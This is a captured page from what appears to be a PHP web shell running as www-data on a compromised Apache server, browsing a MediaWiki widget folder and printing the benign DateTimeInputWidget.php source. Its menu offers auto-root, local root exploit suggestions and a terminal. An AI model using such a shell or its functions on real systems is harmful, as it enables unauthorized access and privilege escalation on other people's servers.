Linux anchor 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
Apache/2.4.18 (Ubuntu)
Server IP : 10.10.100.4 & Your IP : 216.73.217.150
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
wiki.bernardino.org /
includes /
widget /
Delete
Unzip
Name
Size
Permission
Date
Action
AUTHORS.txt
428
B
-rw-r--r--
2016-11-28 20:20
ComplexNamespaceInputWidget.php
3.54
KB
-rw-r--r--
2016-11-28 20:20
ComplexTitleInputWidget.php
1.7
KB
-rw-r--r--
2016-11-28 20:20
DateTimeInputWidget.php
2.02
KB
-rw-r--r--
2016-11-28 20:20
LICENSE.txt
1.3
KB
-rw-r--r--
2016-11-28 20:20
NamespaceInputWidget.php
2.05
KB
-rw-r--r--
2016-11-28 20:20
SearchInputWidget.php
2.14
KB
-rw-r--r--
2016-11-28 20:20
TitleInputWidget.php
2.37
KB
-rw-r--r--
2016-11-28 20:20
UserInputWidget.php
645
B
-rw-r--r--
2016-11-28 20:20
Save
Rename
<?php /** * MediaWiki Widgets – DateTimeInputWidget class. * * @copyright 2016 MediaWiki Widgets Team and others; see AUTHORS.txt * @license The MIT License (MIT); see LICENSE.txt */ namespace MediaWiki\Widget; use OOUI\Tag; /** * Date-time input widget. */ class DateTimeInputWidget extends \OOUI\InputWidget { protected $type = null; protected $min = null; protected $max = null; protected $clearable = null; /** * @param array $config Configuration options * @param string $config['type'] 'date', 'time', or 'datetime' * @param string $config['min'] Minimum date, time, or datetime * @param string $config['max'] Maximum date, time, or datetime * @param bool $config['clearable'] Whether to provide for blanking the value. */ public function __construct( array $config = [] ) { // We need $this->type set before calling the parent constructor if ( isset( $config['type'] ) ) { $this->type = $config['type']; } else { throw new \InvalidArgumentException( '$config[\'type\'] must be specified' ); } // Parent constructor parent::__construct( $config ); // Properties, which are ignored in PHP and just shipped back to JS if ( isset( $config['min'] ) ) { $this->min = $config['min']; } if ( isset( $config['max'] ) ) { $this->max = $config['max']; } if ( isset( $config['clearable'] ) ) { $this->clearable = $config['clearable']; } // Initialization $this->addClasses( [ 'mw-widgets-datetime-dateTimeInputWidget' ] ); } protected function getJavaScriptClassName() { return 'mw.widgets.datetime.DateTimeInputWidget'; } public function getConfig( &$config ) { $config['type'] = $this->type; if ( $this->min !== null ) { $config['min'] = $this->min; } if ( $this->max !== null ) { $config['max'] = $this->max; } if ( $this->clearable !== null ) { $config['clearable'] = $this->clearable; } return parent::getConfig( $config ); } protected function getInputElement( $config ) { return ( new Tag( 'input' ) )->setAttributes( [ 'type' => $this->type ] ); } }